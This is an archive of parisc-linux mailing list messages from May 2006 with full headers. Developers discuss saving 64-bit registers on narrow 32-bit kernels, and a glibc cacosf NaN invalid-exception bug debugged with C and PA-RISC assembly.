DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com;
	h=received:message-id:date:from:sender:to:subject:cc:in-reply-to:mime-version:content-type:content-transfer-encoding:content-disposition:references:x-google-sender-auth;
	b=ItDChHBdlOt21iyjYtMTRf6GmKI9tXr/Z4jAjtZ1IcMmxO8+nw9167/0fbEDubCBKOE8q5yPTTagWhI+EG36x0tLR7zw5nNt00qU0O13PU/JWvZ/Q4awYU8gqCIqM/Z/GkFRWi0YTChbMD96xYiQ+y209Q5KlW6beduI+zO7G7o=
Original-Received: by 10.36.250.45 with SMTP id x45mr1434207nzh;
	Sat, 13 May 2006 15:43:36 -0700 (PDT)
Original-Received: by 10.36.247.36 with HTTP; Sat, 13 May 2006 15:43:36 -0700 (PDT)
In-Reply-To: <200605131707.k4DH765S029172@hiauly1.hia.nrc.ca>
Content-Disposition: inline
X-Google-Sender-Auth: 2330daee40fd26c3
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: HFlQDZF/QEVs4OjDZnVpVs5KNzg2NUI5
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23683

On 5/13/06, John David Anglin <dave@hiauly1.hia.nrc.ca> wrote:
> > Two options from there:
> > 1) we claim what I'm trying to do should not be done on parisc-linux
> > =3D> using ldd/std, MAX2 and other insns that rely on 64bit regs should
> > be prohibited by binutils for non-wide code (currently gcc/binutils
> > happily build my code with -mpa-risc-2-0, which generates level 2.0
> > non wide code)
>
> Well, hpux supports using 64-bit registers in non-wide code, so
> I don't particularly like the idea that code generation changes
> between linux and hpux.  64-bit registers are a PA 2.0 feature
> and their use is independent of whether or not the processor is
> in wide mode.

Yes I took back the wrong implication in a subsequent post.
I'm glad to hear that, that sounds sensible to me.

> > 2) we claim what I'm trying to do should be possible on parisc-linux
> > =3D> we need to fix context switching in 32bit kernels.
>
> I believe that's the correct approach.  The context state needs to
> be updated for 64-bit userspace anyway.  HP-UX has some horrible
> macros like GetSSReg for accessing register values in context data
> (see pa/save_state.h).

As James pointed out, fixing this means doubling the size of saved
registers on stack...

> config.guess for the distinguishes narrow and wide hpux kernels
> (hppa2.0, hppa2.0n and hppa2.0w).  The hppa2.0 and hppa2.0n kernels
> are narrow and don't support 64-bit context information.  As far
> as I know, wide kernels support 64-bit context information for
> the 32-bit runtime.
>
> The GMP library is one bit of code that attempts to make use of this
> capability.  It's a problem for GCC as there's no way to describe that
> a register is partially call clobbered.

There I'm a bit confused. Correct me if I'm wrong, but to be able to
effectively use 64bit registers you need the kernel to save 64bit
registers on context switch? So if the narrow kernel doesn't support
64bit context information (as it's currently the case with
parisc-linux), you can't use them?

Are you trying to say that userspace code shouldn't be using the full
registers width when running a 32bit (narrow) kernel?

If so, how can hpux support using 64bit registers in non wide mode?
Upon any context switch, their content would be messed up if only half
of it is saved...

T-Bone

--=20
Thibaut VARENE
http://www.parisc-linux.org/~varenet/
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:44 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [RFC] using 64bit wide registers with 32bit kernel
Date: Sat, 13 May 2006 19:35:48 -0400 (EDT)
Lines: 58
Approved: news@gmane.org
Message-ID: <200605132335.k4DNZmAY002050@hiauly1.hia.nrc.ca>
References: <7d01f9f00605131543p1458c0c9l55863d71f1a039d8@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624088 19609 80.91.229.3 (22 Nov 2014 02:41:28 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:41:28 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: T-Bone@parisc-linux.org (Thibaut VARENE)
Original-X-From: - Wed Jul 02 21:27:31 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 13 May 2006 23:36:03 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx032) with SMTP; 14 May 2006 01:36:03 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 9C7417D710;
	Sat, 13 May 2006 17:35:55 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 31127-04; Sat, 13 May 2006 17:35:55 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 2E4F47D711;
	Sat, 13 May 2006 17:35:54 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 8C21F7D70F
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 13 May 2006 17:35:51 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 31028-02 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 13 May 2006 17:35:50 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id 920AD7D70D
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 13 May 2006 17:35:50 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged))
	by hiauly1.hia.nrc.ca (8.13.6/8.13.6) with ESMTP id k4DNZnG1002051;
	Sat, 13 May 2006 19:35:49 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.13.6/8.13.6/Submit) id k4DNZmAY002050;
	Sat, 13 May 2006 19:35:48 -0400 (EDT)
In-Reply-To: <7d01f9f00605131543p1458c0c9l55863d71f1a039d8@mail.gmail.com>
	from "Thibaut VARENE" at May 14, 2006 00:43:36 am
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: KxgHIHZTa0Aovr6aejEzAa43Njh6dI65
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23684

> > I believe that's the correct approach.  The context state needs to
> > be updated for 64-bit userspace anyway.  HP-UX has some horrible
> > macros like GetSSReg for accessing register values in context data
> > (see pa/save_state.h).
> 
> As James pointed out, fixing this means doubling the size of saved
> registers on stack...

I believe that we already save 64 bits when CONFIG_64BIT is true.  See
assembly.h.

> There I'm a bit confused. Correct me if I'm wrong, but to be able to
> effectively use 64bit registers you need the kernel to save 64bit
> registers on context switch? So if the narrow kernel doesn't support
> 64bit context information (as it's currently the case with
> parisc-linux), you can't use them?

64-bit kernels run in wide mode, so they have to save/restore 64bit
registers.  It's certainly not much of an extension to save 64 bits
on user context changes.

> Are you trying to say that userspace code shouldn't be using the full
> registers width when running a 32bit (narrow) kernel?

I don't believe that it's impossible to support the full register width
with a 32bit (narrow) kernel.  However, hpux to my knowledge doesn't
support 64-bit registers when using a narrow kernel.  I think this
reflects the historical development of hpux.  The first PA 2.0 kernels
were narrow and based on the 32-bit PA 1.1 implementation.  Wide kernels
were introduced with HP-UX 11.

> If so, how can hpux support using 64bit registers in non wide mode?
> Upon any context switch, their content would be messed up if only half
> of it is saved...

Sure.  The hpux context has various flag bits (e.g. SS_WIDEREGS
and SS_NARROWISINVALID) to handle the various differences between
the PA 1.0, 1.1 and 2.0 architectures.  There was a change in
the number of floating point registers between 1.0 and 1.1, and
in the accessibility of the left and right halves.

Personally, I think the wide register support is most important
when running a 64-bit kernel and that's the place it would be
easiest to implement.  I can see that there are situations where
it would be nice to use 64-bit registers on a narrow kernel but
this would change the size of register files, the context passed
to signal handlers, etc.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:44 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell" <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: Next step in glibc test math failures analysis ;
	-)
Date: Sun, 14 May 2006 17:34:01 -0400
Lines: 33
Approved: news@gmane.org
Message-ID: <119aab440605141434s1090ffb5k5322d14d3d959da8@mail.gmail.com>
References: <IZ03Y4$9E8A6266AB8A578EB25FE5A0BE2593A0@scarlet.be>
	<119aab440605091805q741bba07i3d50aee4299e6d82@mail.gmail.com>
	<44671D41.6010401@tiscali.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=ISO-8859-1;
  format=flowed
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416624089 19614 80.91.229.3 (22 Nov 2014 02:41:29 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:41:29 +0000 (UTC)
Cc: dave <dave@hiauly1.hia.nrc.ca>,
 parisc-linux <parisc-linux@lists.parisc-linux.org>
To: "Joel Soete" <soete.joel@tiscali.be>
Original-X-From: - Wed Jul 02 21:27:31 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 14 May 2006 21:34:19 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx072) with SMTP; 14 May 2006 23:34:19 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 077B87D71F;
	Sun, 14 May 2006 15:34:10 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 10042-09; Sun, 14 May 2006 15:34:09 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id A22ED7D723;
	Sun, 14 May 2006 15:34:08 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 9C3707D71A
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 14 May 2006 15:34:05 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 09842-07 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 14 May 2006 15:34:04 -0600 (MDT)
Original-Received: from nz-out-0102.google.com (nz-out-0102.google.com [64.233.162.206])
	by free.linux.hp.com (Postfix) with ESMTP id A74F97D715
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 14 May 2006 15:34:04 -0600 (MDT)
Original-Received: by nz-out-0102.google.com with SMTP id 9so18898nzo
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 14 May 2006 14:34:02 -0700 (PDT)
DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com;
	h=received:message-id:date:from:sender:to:subject:cc:in-reply-to:mime-version:content-type:content-transfer-encoding:content-disposition:references:x-google-sender-auth;
	b=DmE0uM3Q1MtSMm3n2mwN5YHP5csCz5n1Jc16o7JJXBlzHVxAt8nzFnGmKrIPzLkojOaaapUHHMGS3RpNy8mZ9KXG4n1P6tViSWEU4LoYEXt5fvvB/4EinmNlLdP9DncIALHBG82TKGuF0aKj9HvALJj52uJ5uXDihz0zrm+e9M0=
Original-Received: by 10.37.18.75 with SMTP id v75mr2180167nzi;
	Sun, 14 May 2006 14:34:01 -0700 (PDT)
Original-Received: by 10.36.71.15 with HTTP; Sun, 14 May 2006 14:34:01 -0700 (PDT)
In-Reply-To: <44671D41.6010401@tiscali.be>
Content-Disposition: inline
X-Google-Sender-Auth: 01cc51a6ebd77e19
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: ZJBUcLNxX1Vp6uuYY2Fyjwp3SDc4NAyT
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23685

> So my next question is: is some of you know a similar implementation of c=
acosf()?
> or what would be the results of cacosf() for various limit figure with na=
n, 0.0 and infinity?

Is the problem the setting of the V-bit by the operation?

The value of  "cacos (inf + NaN i)" is  "NaN + inf i", the problem is
that after the test the processor has turned on the V bit to indicate
that the operation is invalid.

In 10-9 of the PA 2.0 book there is a complete description of what
should and should
not trigger an "invalid" exception.

Do we have a case of:
1. Any arithmetic operation on a signaling NaN except for conversion
to integer formats.
2. Magnitude subtraction of intinities like (+inf + -inf)
3. Multiplication of 0 and inf
4. The division operations 0/0 and inf/inf
5. Square root if the operand is less than zero
6. Inproper comparison operations
7. Conversion to integer format as in table 10-6.

Cheers,
Carlos.
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:45 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: Next step in glibc test math failures analysis ;
	-)
Date: Mon, 15 May 2006 12:16:51 +0200
Lines: 216
Approved: news@gmane.org
Message-ID: <IZAXW3$C59C39E7DB13AB37BBE79C55CE7BDBBF@scarlet.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=iso-8859-1
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416624089 19617 80.91.229.3 (22 Nov 2014 02:41:29 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:41:29 +0000 (UTC)
Cc: dave <dave@hiauly1.hia.nrc.ca>,
 parisc-linux <parisc-linux@lists.parisc-linux.org>
To: "carlos" <carlos@systemhalted.org>
Original-X-From: - Wed Jul 02 21:27:31 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 15 May 2006 10:17:15 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx086) with SMTP; 15 May 2006 12:17:15 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 4C34C7D748;
	Mon, 15 May 2006 04:17:10 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 15813-09; Mon, 15 May 2006 04:17:10 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id A70C57D749;
	Mon, 15 May 2006 04:17:08 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 692107D746
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 15 May 2006 04:17:05 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 15803-06 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 15 May 2006 04:17:04 -0600 (MDT)
Original-Received: from oola.is.scarlet.be (oola.is.scarlet.be [193.74.71.23])
	by free.linux.hp.com (Postfix) with ESMTP id 0C0817D745
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 15 May 2006 04:17:03 -0600 (MDT)
Original-Received: from (taj.is.scarlet.be [193.74.71.42]) 
	by oola.is.scarlet.be  with ESMTP id k4FAGpS07995; 
	Mon, 15 May 2006 12:16:51 +0200
X-Sensitivity: 3
X-XaM3-API-Version: 4.1 (B54)
X-type: 0
X-SenderIP: 57.67.177.33
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: Hi9dLERRZDI47rHGdWY21ENxemhmYwGp
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23686

> > So my next question is: is some of you know a similar implementation =
of
cacosf()?
> > or what would be the results of cacosf() for various limit figure wit=
h
nan, 0.0 and infinity?
> 
> Is the problem the setting of the V-bit by the operation?
> 
yes as explain during the computation of:
    __real__ res =3D (float) M_PI_2 - __real__ y;


> The value of  "cacos (inf + NaN i)" is  "NaN + inf i", the problem is
> that after the test the processor has turned on the V bit to indicate
> that the operation is invalid.
> 
That's my understanding too, tx.

> In 10-9 of the PA 2.0 book there is a complete description of what
> should and should
> not trigger an "invalid" exception.
> 
> Do we have a case of:
> 1. Any arithmetic operation on a signaling NaN except for conversion
> to integer formats.
> 2. Magnitude subtraction of intinities like (+inf + -inf)
> 3. Multiplication of 0 and inf
> 4. The division operations 0/0 and inf/inf
> 5. Square root if the operand is less than zero
> 6. Inproper comparison operations
> 7. Conversion to integer format as in table 10-6.
> 
Nothing related sorry.

_real_ y is the real part of casinf (inf + NaN i) =3D=3D NaN + inf i;

so __real__ res =3D=3D some_const [+/-] NaN;

So the pb is realted to oprations with NaN?

I so need to know more about which kind of nan value is in the game: a
signaling or a quiet. (printf ("%f\n", _real_ y) printing sadely 'nan')

I so grab in my foo.c file the generic cacosf and build such local versio=
n:
static __complex__ float
L_cacosf (__complex__ float x)
{
printf ("%s();\n", __FUNCTION__);
  __complex__ float y;
  __complex__ float res;

  struct { unsigned int sw[2]; } s;

  /* Get the current status word. */
  __asm__ (
    "fstd               %%fr0, 0(%1) \n\t"
    : "=3Dm" (s)
    : "r" (&s)
  );

printf ("Just b4 casinf();\n");
printf ("s.sw[0]: 0x%x.\n", s.sw[0]);
printf ("s.sw[0] >> 27: 0x%x.\n", (s.sw[0] >> 27));

printf ("imag x: 0x%x\n", (int) __imag__ x);

  y =3D casinf (x);

  /* Get the current status word. */
  __asm__ (
    "fstd               %%fr0, 0(%1) \n\t"
    : "=3Dm" (s)
    : "r" (&s)
  );

printf ("Just aftr __casinf();\n");
printf ("s.sw[0]: 0x%x.\n", s.sw[0]);
printf ("s.sw[0] >> 27: 0x%x.\n", (s.sw[0] >> 27));

printf ("real y: 0x%x\n", (int) __real__ y);

__asm__("#B4_real_res");
  __real__ res =3D (float) M_PI_2 - __real__ y;
__asm__("#AFTR_real_res");

  /* Get the current status word. */
  __asm__ (
    "fstd               %%fr0, 0(%1) \n\t"
    : "=3Dm" (s)
    : "r" (&s)
  );

printf ("Just aftr __real__ res;\n");
printf ("s.sw[0]: 0x%x.\n", s.sw[0]);
printf ("s.sw[0] >> 27: 0x%x.\n", (s.sw[0] >> 27));

  __imag__ res =3D -__imag__ y;

  /* Get the current status word. */
  __asm__ (
    "fstd               %%fr0, 0(%1) \n\t"
    : "=3Dm" (s)
    : "r" (&s)
  );

printf ("Just aftr __imag__ res;\n");
printf ("s.sw[0]: 0x%x.\n", s.sw[0]);
printf ("s.sw[0] >> 27: 0x%x.\n", (s.sw[0] >> 27));

  return res;
}

Well I have to hack a bit *.s file to printout non converted "imag x:" an=
d
"real y:" but seems to work:

L_cacosf();
Just b4 casinf();
s.sw[0]: 0x100000.
s.sw[0] >> 27: 0x0.
imag x: 0x7fa00000
Just aftr __casinf();
s.sw[0]: 0x4080000.
s.sw[0] >> 27: 0x0.
real y: 0x7fc00000
Just aftr __real__ res;
s.sw[0]: 0x84080000.
s.sw[0] >> 27: 0x10.
Just aftr __imag__ res;
s.sw[0]: 0x84080000.
s.sw[0] >> 27: 0x10.

;-)

Using 'single binary floating-point' format describe p8-6 of same PARISC =
2.0
Architecture, it seems that:

imag x: 0x7fa00000
in bin form: 01111111101000000000000000000000

i.e.: a fraction (not zero)
01000000000000000000000
and e: 11111111 

As the 1st byte (b1) of fraction is 0, this seems to be a quiet nan (acco=
rding
to NaN desciption on top of next page)?

And following same way of thought for real y, I got:

real y: 0x7fc00000
in bin form: 01111111110000000000000000000000

i.e.: a fraction (not zero)
10000000000000000000000
and e: 11111111

But the first bit is this time b1 =3D=3D 1 so a signaling nan.

And p8-23 of same book describe 'Operation with NaNs' and specialy
sic: An operation causes an invalid exception when at least one operand i=
s a
signaling NaN and the operation is any arithmetic operation.

Effectively __asm__("#banners"); help me to locate the genrated code:
#APP   
        #B4_real_res
        .loc 1 274 0
#NO_APP
        fldws -12(%r4),%fr22L
        ldil LR'.LC37,%r28
        ldo RR'.LC37(%r28),%r28
        fldws 0(%r28),%fr23L
        fsub,sgl %fr23L,%fr22L,%fr23L
.LVL57:
        fldws -16(%r6),%fr22L
        ldo -160(%r30),%r5  
        fstws %fr22L,-12(%r5)
        fstws %fr23L,-16(%r4)
        fldws -12(%r5),%fr22L
        fldws -16(%r4),%fr23L
        fstws %fr22L,8(%r4)
.LVL58:
        fstws %fr23L,4(%r4)
.LVL59:
        .loc 1 275 0
#APP
        #AFTR_real_res
        .loc 1 284 0
#NO_APP

and the operation is 'fsub,sgl %fr23L,%fr22L,%fr23L'

Agree?

That's why I am convinced that this implemetation of cacos is to simple
compare to its brotherhood casin which makes much more test for limits va=
lues
like nans, 0, inf.

Thanks a lot,
    Joel
=0A=0A----------=0AClub Scarlet : Tout le monde gagne! Si vous devenez au=
jourd'hui Scarlet One grace a un client existant de Scarlet, vous recevez=
 tous les deux un cadeau d'une valeur de 50 euros! Surfez vite sur http:/=
/www.clubscarlet.be

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:45 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jes Sorensen <jes@sgi.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [RFC] using 64bit wide registers with 32bit kernel
Date: Mon, 15 May 2006 12:56:16 +0200
Lines: 25
Approved: news@gmane.org
Message-ID: <44685E50.7040908@sgi.com>
References: <7d01f9f00605130841v6185b06dybae82c9f9c77e2b4@mail.gmail.com>	
	<1147539787.6632.7.camel@mulgrave.il.steeleye.com>	
	<yq0ves7psaw.fsf@jaguar.mkp.net>
	<7d01f9f00605150255u5846f144u9c95cab3ffd35133@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624089 19619 80.91.229.3 (22 Nov 2014 02:41:29 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:41:29 +0000 (UTC)
Cc: James Bottomley <James.Bottomley@steeleye.com>,
 parisc-linux@lists.parisc-linux.org
To: Thibaut VARENE <T-Bone@parisc-linux.org>
Original-X-From: - Wed Jul 02 21:27:31 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 15 May 2006 10:56:36 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx070) with SMTP; 15 May 2006 12:56:36 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id BD0327D753;
	Mon, 15 May 2006 04:56:32 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 16181-09; Mon, 15 May 2006 04:56:32 -0600 (MDT)
